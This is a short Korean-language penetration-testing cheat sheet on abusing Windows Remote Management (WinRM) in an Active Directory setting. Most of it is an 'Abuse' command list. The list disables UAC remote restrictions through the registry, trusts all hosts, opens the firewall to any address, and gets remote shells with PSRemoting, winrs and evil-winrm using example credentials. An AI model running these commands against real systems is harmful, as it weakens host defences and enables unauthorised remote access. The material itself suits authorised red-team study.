winrm
winrm(Windows Remote Management)은 Windows에서 원격 명령 실행을 위한 프로토콜입니다.
AD 환경에서는 Remote Management Users 그룹에 속한 도메인 계정은 winrm이 활성화된 모든 컴퓨터에 연결할 수 있지만, Windows 로컬의 경우 별도로 UAC 원격 제안으로 인해 네트워크 연결이 불가능합니다.
대상 시스템에 관리자 권한(High mandatory level)의 원격 명령 실행이 가능할 경우 해당 레지스트리를 수정하여 네트워크 접속을 허용할 수 있습니다.
Abuse
# UAC 원격 제한 해제
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
# winrm 서비스 시작 및 설정 구성
net start winrm
Set-Item WSMAN:\localhost\Client\TrustedHosts -Value "*" -Force
Set-NetFirewallRule -Name 'WINRM-HTTP-In-TCP' -RemoteAddress Any# 원격 서버와의 시간 동기화
w32tm /config /manualpeerlist:"AD01.CONTOSO.COM" /syncfromflags:manual /update
w32tm /resync /force
# PSRemoting으로 원격 쉘 획득
$pass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ('CONTOSO\Administrator', $pass)
Enter-PSSession -ComputerName DC01 -Credential $cred
# 쉘 획득 없이 원라인 커맨드 실행
winrs /r:http://'<target-ip>':5985/wsman /u:'<username>' /p:'<password>' whoami# winrm 원격 쉘 획득
evil-winrm -i 192.168.1.11 -u Administrator -p 'Password123!'References
Last updated